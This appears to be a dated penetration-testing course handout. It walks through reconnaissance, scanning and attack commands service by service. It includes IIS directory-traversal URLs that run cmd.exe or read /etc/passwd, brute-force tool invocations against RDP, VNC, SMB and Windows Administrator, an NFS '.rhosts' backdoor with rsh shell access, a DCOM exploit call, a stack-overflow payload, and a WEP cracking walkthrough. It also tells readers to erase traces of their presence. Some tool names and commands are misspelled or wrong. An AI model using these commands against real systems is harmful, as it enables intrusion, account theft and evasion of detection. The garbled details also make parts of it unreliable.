



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK

info@coursefox.co.uk

Introduction to Penetration Testing



A Penetration Test is a method of evaluating the security of a computer system or network by simulating an attack by a hacker. The process involves an active analysis of the system for any weaknesses, technical flaws or vulnerabilities. This analysis is carried out from the position of a potential attacker, and can involve active exploitation of security vulnerabilities. Any security issues that are found will be presented to the system owner together with an assessment of their impact and often with a proposal for mitigation or a technical solution.



Black box vs. White box Penetration tests can be conducted in several ways. The most common difference is the amount of knowledge of the implementation details of the system being tested that are available to the testers. Black box testing assumes no prior knowledge of the infrastructure to be tested, and the testers must first determine the location and extent of the systems before commencing their analysis. At the other end of the spectrum, white box testing provides the testers with complete knowledge of the infrastructure to be tested, often including network diagrams, source code and IP addressing information. There are also several variations in between, often known as gray box tests. Penetration tests may also be described as Full disclosure, partial disclosure or blind tests based on the amount of information provided to the testing party.



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

The 6 steps of a penetration test

1. Enumeration

Gathering as many passive facts about the target system as possible. The following are common enumeration techniques (Web Searches on Google, johnny.ihackstuff.com, Newsgroups, NIC queries, Whois, DNS queries and SMTP probing). **Goal: Learn about the target**

2. IP Scanning

The next step is to scan the target system. Methods include ICMP scanning and probing, TCP and UDP port scanning, Third Party TCP scanning. Common scan tools are NMAP, SING, hping2, Isrsan and fragroute.

Goal: Identify open services on target

3. Assessing discovered services

Evaluate the versions of Web, FTP, Database, Mail, VPN, Telnet, SSH, DNS, SNMP, LDAP, X-Windows etc. services running on various platforms such as Microsoft or Unix through manual and automated fingerprinting.

Goal: Find out which versions of the services are in place

4. Find or write exploits

Once fingerprinting has been completed, consult the following websites to check whether exploits are available for the version discovered: securityfocus.com, cve.mitre.org, xforce.iss.net, packetstormsecurity.org, kb.cert.org/vuls. **Goal: Find the "key" to enter the system**

5. Exploit the target system

Use the exploits discovered and run them against the target in order to gain access to the target network. Erase traces on the target network that would indicate your presence. **Goal: Unauthorized Access to the target system**

6. Document the vulnerabilities and recommend on how to close holes

Document which exploits worked on which services and present it to the owner of the target network. Consult the websites of the services you have discovered being vulnerable and advise to upgrade to latest versions.

Goal: Close the security holes down



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

Tools and Links

Most tools are available for free on the Internet.



The Best 3 sources

<http://www.frozentech.com/content/livecd.php>

Loads of bootable Linux Live CDs with Penetration Test Tools

<http://www.remote-exploit.org>

Back Track Security Suite – The Best freeware Hacking CD

<http://examples.oreilly.com/networksa/tools/>

Around 100 of the best penetration test tools

Others sources

immunity canvas

<http://www.immunitysec.com/index.shtml>

ipscanner: (linux and windows)

<http://www.topshareware.com/IPScanner-download-11457.htm>

metasploit

<http://metasploit.org/>

nmap

<http://www.insecure.org/nmap/>

nessus

<http://www.nessus.org/>

ISS internet scanner

http://www.iss.net/products_services/enterprise_protection/vulnerability_assessment/scanner_internet.php

CSS Cisco security scanner

<http://www.cisco.com/univercd/cc/td/doc/product/iaabu/csscan/csscan2/csscug/overview.htm>

N-Stealth scanner

<http://www.nstalker.com/eng/products/nstealth/>

SuperScan4.0

<http://www.scanwith.com/download/SuperScan.htm>

Tool Link List

<http://www.insecure.org/tools.html>



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

Vulnerability Databases

Milw0rm

<http://www.milw0rm.com>

Metasploit

<http://www.metasploit.com>

Security Focus

<http://www.securityfocus.com>

Packetstormsecurity

<http://www.packetstormsecurity.org>

Enumeration



In the enumeration phase as many facts as possible are gathered about the target network.

1. Google

Looking for phone and fax numbers of companyxyz.com

Search string: **+"companyxyz.com" +tel +fax**

Other common search strings:

site:.companyxyz.com

allintitle: "index of /" site:.companyxyz.com

companyxyz.com

Go to <http://johnny.ihackstuff.com> for many more Google search strings

2. NIC Querying

Use the Samspace client <http://www.spamspace.org> and enter the IP or domain-name of the target network.

Under Unix use the WHOIS utility: **whois**

Use: <http://www.allwhois.com>

3. DNS Querying

Use the nslookup tool

nslookup

set type=any

companyxyz.com

Use the host command (Unix)



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

host companyxyz.com

Use the dig command
dig companyxyz.com any

Try a DNS zone transfer (if successful, the whole target network DNS IP – to – Name mapping will be revealed)

nslookup

set type=any

companyxyz.com

server companyxyz.com (whichever the DNS authority for this domain is)

ls -d companyxyz.com

or

ls -d companyxyz.com >> /tmp/zone_out (to write output into a file)

4. SMTP Probing

Send an email to a known wrong address of the target network such as blahblah@companyxyz.com. Wait for the failure mail coming back from their server. It will contain valuable information about the mail setup.

5. PING and TRACEROUTE

PING uses ICMP packets (per default Echo Request and Echo Reply).

If a reply is received, host is active.

ping www.companyxyz.com or ping 192.168.1.1

Traceroute shows the path any packet

takes from your machine to the target host:

traceroute www.companyxyz.com or traceroute 192.168.1.1

(command is **tracert** on Windows)



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

IP Scanning



In the IP Scanning phase, active hosts on the target network are scanned for activity (ie ICMP) and for all open TCP and UDP services.

NMAP

Download the NMAP tool (either UNIX or Windows based) from <http://insecure.org/nmap/>

Use the NMAP tool to perform a PING SWEEP (ICMP pings to all hosts in a subnet to see which ones respond)

```
nmap -sP -PI 192.168.1.0/24
```

Next we identify the subnet broadcast addresses:

```
nmap -sP 192.168.1.0/24
```

TCP Port Scanning types

Vanilla Scan (no stealth, active connect scan)
TCP Half-Open SYN Scan (only SYN packet sent)
XMAS Scan (all flags are set)
Null Scan (No flags are set)

TCP Port Scanning Response Codes

SYN SEND – SYN/ACK RECEIVED -> PORT OPEN
SYN SEND – RST/ACK RECEIVED -> PORT CLOSED OR FIREWALLED
SYN SEND – ICMP TYPE 3 CODE 13 RECEIVED -> ADMIN PROHIBITED
SYN SEND – NOTHING RETURNED -> SILENTLY DROPPED
FIN/URG/PSH/NULL SEND - NO RESPONSE -> PORT OPEN
FIN/URG/PSH/NULL SEND - RST/ACK -> PORT CLOSED

UDP Port Scanning Response Codes

NO RESPONSE TO UDP PROBE - OPEN
ICMP TYPE 3 CODE 13 RECEIVED - CLOSED



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

Common NMAP options

-sF (FIN FLAG)
-sN (NULL FLAG)
-sX (ALL-XMAS- FLAGS SET)
-sI (IP ID header scan)
-sS (SYN Stealth)
-sU (UDP Scan)
-p (Port to scan)

Assessment of either the common (shorter scan) or all TCP and UDP services on the target network or host.

NMAP Scan

common TCP services

```
nmap -sS -P0 -p21,25,53,80,110 -oG output.txt 192.168.10.0/24
```

common UDP services

```
nmap -sU -P0 -p6,53,69,123,137,161 -oG output.txt 192.168.10.0/24
```

FULL TCP SCAN

```
nmap -sS -P0 -p1-65535 -v -A -o output.txt 192.168.10.0/24
```

FULL UDP SCAN

```
nmap -sU -P0 -p1-65535 -o output.txt 192.168.10.0/24
```

Guessing the Operating System of the target network with NMAP

```
nmap -O -sS 192.168.1.1
```

NMAP will try to reveal the Operating System

HPING2

```
hping2 -c 3 -s 53 -p 139 -S 192.168.1.1
```

-c = number of probe packets

-s = source tcp port

-p = dest port

-S = set TCP SYN FLAG

-F = set TCP FIN FLAG

-A = set TCP ACK FLAG

LSRSCAN

Check for source routing vulnerabilities with "lrsrscan":

```
lrsrscan 192.168.1.0/24
```



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

Remote Information Services



RIS are common on the majority of all systems.

Unix Sstat and Netstat

These services contain valuable information about network and system processes.

Check Sstat and Netstat:

A telnet to port 11 (Sstat)

`telnet 192.168.1.10 11`

A telnet to port 15 (Netstat)

`telnet 192.168.1.10 15`

DNS

A DNS zone file contains all name to IP mappings for a specific network/zone. If this file can be obtained, all mappings for example (192.1.1.1 = mail.companyxyz.com) can be shown. Find the DNS server which is the authority for a zone via nslookup (see DNS enumeration)

Attempt a DNS zone transfer with the "dig" tool

`dig @nameserver.companyxyz.com companyxyz.com axfr`

Finger

The Finger Service is an information service enabled per default on many platforms on TCP port 79

To check whether it is enabled:

`telnet 192.168.1.1 79`

or

`finger @192.168.1.1`



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

SNMP

Simple Network Management Protocol runs on most systems on UDP port 161. It has many flaws and many users leave the default community strings in place.

Tools to check SNMP:

ADMsnp 192.168.0.1 (ADMsnp tool)

snmpwalk -c private 192.168.0.1

snmpwalk -c public 192.168.0.1

Gather usernames on WIN NT & 2000 where SNMP is enabled

snmpwalk -c public 192.168.0.1 .1.3.6.1.4.1.77.1.2.25

Upload a config through SNMP:

The tool "**snmpset**" can be used to upload a config through SNMP to a router for example

LDAP

LDAP on Windows 2000 Active Directory often has got vulnerabilities which can reveal crucial data.

Unix Tool ldapsearch

ldapsearch -h 192.168.1.1

RWHO

This service runs on Unix machines on UDP port 513 and exploiting it can reveal all users currently logged into the remote target system:

rwho 192.168.0.1

The tool "rusers" can perform the same:

rusers -l 192.168.1.1

Exploits

Once you obtained the server's version, search for exploits in vulnerability databases (See Tools & Links section)



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

Web Servers



Webservers are usually either UNIX based (ie Apache) or Microsoft based (IIS) and due to their nature of providing public service, they exist in large numbers and always have vulnerabilities.

Fingerprinting a webserver

telnet www.companyxyz.com 80
followed by: HEAD / HTTP/1.0
and twice the enter key

Reveal HTTP Options

telnet www.companyxyz.com 80
followed by: OPTIONS / HTTP/1.0
and twice the enter key

Automated Web Server Assessment Tools

Nikto (Unix based)

perl nikto.pl -host www.companyxyz.com

N-Stealth (Windows based)

www.nstalker.com/nstealth/

Paths

Poorly protected information can usually be found in the following paths:

[/backup](#)
[/private](#)
[/test](#)

Microsoft Outlook Web Access

Check for

[/owa](#)
[/exchange](#)
[/mail](#)



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK

info@coursefox.co.uk

IIS Unicode Exploits

Add to URL path

www.example.com/../../../../

www.example.com/scripts/..%25c../winnt/system32/cmd.exe?/c/dir

www.example.com/cgi-bin/phf?Qalias+x%0a/bin/cat%20/etc/passwd

HTML source code

Check the source code by right-clicking the mouse when over a website

Look for:

CGI Form passwords

Exploits

Once you obtained the server's version, search for exploits in vulnerability databases (See Tools & Links section)

Remote Access Services



These services are used to remotely manage and maintain server and networking components.

SSH (Secure Shell) Fingerprinting

`telnet 192.168.1.1 22`

This will reveal the SSH implementation and version

Telnet Fingerprinting

`telnet 192.168.1.1`

Against both telnet and SSH a brute-force attack can be launched (trying different username and password pair combinations). Brutus is the default tool: <http://www.hoobie.net/brutus/>

X-Windows

Used in many networks in order to export a display to a remote host
Fingerprinting X-Servers with the tool "xscan"

`./xscan 192.168.1.1`



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK

info@coursefox.co.uk

Microsoft Desktop Protocol

Remote desktop protocol provides remote access to windows desktop.
Runs on TCP port 3389

Using “tsgrinder” to gain brute-force into a machine

```
tsgrinder -w words -l leet -d workgroup -u administrator -b -n 2  
192.168.1.1
```

VNC

Virtual Network Computing is a simple network management tool
for remote desktops and can easily be exploited

Using “vncrack” a Unix based tool:

```
./vncrack -h 192.168.1.1 -w common.txt (where common.txt is a dictionary  
file)
```

Using “x4” a Windows based tool:

Get from <http://www.phenoelit.de>

Citrix

Citrix is a thin client Windows service that is accessed
through port 1494 TCP on the server side

Unix tool “citrix-pa-scan” can reveal published applications:

```
./citrix-pa-scan 192.168.1.1
```

Exploits

Once you obtained the server’s version, search for exploits
in vulnerability databases (See Tools & Links section)



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

FTP Servers and Databases



FTP Servers

FTP Servers are file sharing devices and very common in modern networks.

Checking for FTP Server version

[ftp 192.168.1.1](#)

Check for anonymous login:

User: **anonymous**

Password: [something@something.com](#)

If login is successful, issue "ls" and "HELP" commands

Gather valid username :

telnet 192.168.1.1 21

CWD ~blah

CWD ~test

CWD ~admin

until Code 530 shows up: Please login with USER and PASS

Then exploit:

[ftp 192.168.1.1](#)

USER: admin

PASS : blah

CWD ~

ls -ls /core

strings /core | grep ::



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

Microsoft SQL Servers



MS SQL servers are SQL databases to store large amounts of user data

Assess MS SQL Servers with “sqlping”

`sqlping 192.168.1.1`

MS SQL Brute Force attack with “sqlbf”

`sqlbf`

follow options and specify username and password list

Oracle Databases

Oracle Databases are the most popular commercial databases in today's markets and widespread

The TNS listener is the component through which clients connect into the database.

Check the TNS listener with the “tnscmd” tool (Unix)

`perl tnscommand.pl -h 192.168.1.1`

My SQL General Assessment

The MySQL service runs on port 3306

A telnet to that port reveals more details about the version in use

`telnet 192.168.1.1 3306`

Exploits

Once you obtained the server's version, search for exploits in vulnerability databases (See Tools & Links section)



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK

info@coursefox.co.uk

Windows Penetration



Microsoft Windows products are popular throughout today's networks due to its user friendliness.

Windows Enumeration

A variety of enumeration tools are available for MS Windows operating systems.

The "epdump" tool queries the RPC endpoint mapper running on port 135 TCP

`epdump 192.168.1.1`

The "rpcdump" is an advanced tool to enumerate RPC service information.

`rpcdump 192.168.1.1` or `rpcdump -v 192.168.1.1` (more detailed information)

The "RpcScan" (www.securityfriday.com) tool is a graphical version of the rpcdump tool

The "Walksam" tool queries the SAMR interface in order to reveal user information

`walksam 192.168.1.1`

Brute-Forcing Administrator passwords

Many Windows machines can be accessed through the default Administrator account: "Administrator"

Hint: Try "Administrator" with a blank password initially.

The tool "WMIcracker" can be used to launch a brute-force attack with dictionary files.

`WMIcracker 192.168.1.1 Administrator words.txt`

Gaining access may also be possible through vulnerabilities in the RPC services (DCOM, Messenger Service and Workstation service). The tool "dcom" can be used:

`./dcom`

Views options

Example attack on Windows 2000 SP4 english (option 5)

`./dcom 5 192.168.1.1`



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

NetBIOS Name Service

The NetBIOS name service is accessible through UDP port 137.
The tool “nbtstat” can be used to enumerate the NetBIOS name table:
`Nbtstat -A 192.168.1.1`

Sensitive information can also be gathered through creating a “null session” on TCP port 139:

```
net use \\target\IPC$ "" /user: ""
```

The tool “enum” can be used to enumerate the NetBIOS session service:
`enum -UGP 192.168.1.1`

An advanced tool to collect more valuable information about a windows target is “winfo”:

```
winfo 192.168.1.1
```

Authentication with NetBIOS

Once a valid user account password has been obtained, NetBIOS can be used to authenticate:

```
net use \\target\IPC$ password /user:username
```

for example:

```
net use \\192.168.1.1\ADMIN$ secret /user:administrator
```

Afterwards you can execute programs:

```
at \\192.168.1.1 05:30 c:\temp\anything.exe
```

CIFS Service

The CIFS service (Common Internet File System) is running on both UPD and TCP ports 445 and enables SMB access. For CIFS enumeration use the tool “smbdumppusers”

```
C:\smbdumppusers -i 192.168.1.1 -m -2 -P1
```

The CIFS Brute-Force tool “smbbf” is used for dictionary attacks using a user list and a password list

```
smbbf -i 192.168.1.1 -p common.txt -u users.txt -v -P1
```

Exploits

Once you obtained the server’s version, search for exploits in vulnerability databases (See Tools & Links section)



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

Mail Servers



Mail servers use the common well-known ports

smtp – 25/tcp
pop2 – 109/tcp
pop3 – 110/tcp
imap2 – 143/tcp
ssmtp – 465/tcp
imaps – 993/tcp
pop3s – 995/tcp

SMTP

To fingerprint SMTP services, use the tools “smtpmap” and “smtpscan”:

[smtpmap mail.companyxyz.com](#)
[smtpscan mail.companyxyz.com](#)

To check whether SPAM mail can be relayed:

telnet mail.companyxyz.com 25
HELO world (or the FQDN of the mail server)
HELP (might give help commands)
EXPN root (reveals details of whether that email account “root” exists)
VERFY accounting (reveals whether [accouting@companyxyz.com](#) is valid)
then

MAIL FROM: [test@test.com](#)
RCPT TO: [anything@anything.com](#)
DATA
Subject: Test
your text
.
quit



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

POP3

To connect to a POP3 mail server:

`telnet mail.companyxyz.com 110`

`USER Michael@companyxyz.com`

`PASS password`

Once in read mails:

`RETR 1`

(where number 1 is the mail number 1 on the POP3 server)

`DELE 1`

(would delete mail number 1)

Brute-force tools for POP3 mail servers:

<http://packetstormsecurity.org/groups/ADM/ADM-pop.c>

http://packetstormsecurity.org/Crackers/Pop_crack.tar.gz

<http://packetstormsecurity.org/groups/Crackers/hv-pop3crack.pl>

IMAP

Brute-force tools for IMAP mail servers:

<http://www.hoobie.net/brutus>

Exploits

Once you obtained the server's version, search for exploits in vulnerability databases (See Tools & Links section)

Unix Operation Systems



Especially the industry has widely deployed servers based on Linux, Unix and Solaris

UNIX RPC

These services are Unix daemons such as NIS+, NFS and CDE.

Enumerating Unix RPC services with the tool "rpcinfo" and "nmap":

`rpcinfo -p 192.168.1.1`

`nmap -sR 192.168.1.1`

This will reveal port information and state of the services.



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

NFS

Improperly configured NFS (Network File Systems) might allow direct host access through the “mount” command:

```
showmount -e 192.168.1.1  
mount 192.168.1.1:/home /mnt  
cd /mnt  
ls -la
```

Change Directory into a discovered directory

```
cd anythingdiscovered  
echo + + > .rhosts  
cd /  
umount /mnt
```

Finally connect through remote shell:

```
rsh -l anythingdiscovered 192.168.1.1 csh -i
```

For compromising a Solaris host as above, use the rootdown tool as follows:

```
perl rootdown.pl -h 192.168.1.1 -i  
echo + + > /usr/bin/.rhosts  
rsh -l bin 192.168.1.1 csh -i
```

Exploits

Once you obtained the server's version, search for exploits in vulnerability databases (See Tools & Links section)

Virtual Private Networks (VPNs)



VPN PSK-Cracking

IPSec services are gaining popularity in the industry. Many companies form VPNs between their offices in order to transmit data encrypted and secure across the Internet. Unfortunately many security flaws exist in VPNs.

It is possible to discover the PSK (Pre-Shared key) of VPNs. Enumeration of VPNs with the tools “ipsecscan” and “ike-scan”



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK

info@coursefox.co.uk

They may discover active VPNs:

`ipseccan 192.168.1.1 192.168.1.10` (all hosts from .1 to .10)

`ike-scan -showbackoff 192.168.1.1 192.168.1.10`

There are 2 modes in IPSec (Aggressive Mode and Main Mode).

Implementation running aggressive mode might respond to an authentication request and a hashed authentication response may be sniffed.

The tool "ikeprobe" in conjunction with "Cain & Abel" will be used as follows:

`ikeprobe 192.168.1.1`

At the same time Cain & Abel must run on the same machine to capture hashed secrets which can then be de-encrypted to obtain the PSK.

Checkpoint

Some implementations of Checkpoint Firewalls have vulnerabilities which can reveal valid VPN usernames:

The tool is "fw-ike-userguess":

`fw-ike-userguess -file=testusers.txt -sport=0 192.168.1.1`

Another tool is "SensePost or sr.pl". It can be used to glean Checkpoint Firewalls for network information:

`perl sr.pl firewall.comanyxyz.com`

Exploits

Once you obtained the server's version, search for exploits in vulnerability databases (See Tools & Links section)

Applications



Buffer Overflow

To keep it simple: Applications run in memory buffers (Heap, Stack etc.) when they are executed. If malicious code is written into these buffers, legitimate traffic might be overwritten. The application may either crash, or the malicious code will be executed instead of the legitimate code, resulting in Denial of Service or unauthorized access.

One program to inject malicious code is "printme.c" which has to be downloaded and compiled into an object file: `cc -o printme printme.c`

Test:



<http://www.coursefox.co.uk>
Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

./printme Test

Sample of any stack overflow, where perl is used to distribute:

```
./printme `perl -e 'print "\x90\x90\x90\ (filled with 32 fields) \xbf";`
```

With the tool “**gbd**” you can monitor as a program crashes.

Exploits

Once you obtained the server’s version, search for exploits in vulnerability databases (See Tools & Links section)

Wireless LAN



WEP

WEP (Wired equivalent privacy) enabled WLANs are very widespread and it is very easy to crack the WEP key. To assess a Wireless LAN using the WEP key, you’ll need a laptop with a wireless card that supports packet injection such as Atheros chipset Orinoco Gold and the “Auditor” or “Backtrack” security CD (see tools section)

Howto (Note: Change interface names accordingly).

Use “Kismet” to scan for the target AP and write down the BSSID MAC address of the target AP

Create a temporary directory

```
mkdir wepcrack  
cd wepcrack/
```

Configure your WLAN card

```
ifconfig eth0 up  
iwconfig eth0 mode monitor  
airodump eth0 tocrack
```

New window:

```
cd wepcrack
```



<http://www.coursefox.co.uk>

Be a smart fox...book at course fox
Your Cisco Training Course Provider in the UK
info@coursefox.co.uk

`aireplay -i eth0`

look for packet where BSSID MAC must match AP (Target)

DO NOT LOOK for packets with DST FF:FF:FF:FF:FF:FF

Choose "No" to all other packets and choose "Yes" when the presented packet matches the BSSID MAC of the AP

This ARP packet will now be used to re-inject

WEP=1

Once you have around 500 000 IVs captured click stop.

New window

`cd wepcrack`

`aircrack -q 3 -f 2 tocrack.cap`

DONE

Once you have the key, associate with the AP using this key.

WPA

Wifi Protected Access is a newer 801.1x based security feature for Wireless LANs but is vulnerable to dictionary attacks if weak Pre-Shared keys are used. WPACrack is a tool available with the Auditor Security CD. It cracks weak passwords by using hashed values of dictionary words.

<http://www.remote-exploit.org>

Exploits

Once you obtained the server's version, search for exploits in vulnerability databases (See Tools & Links section)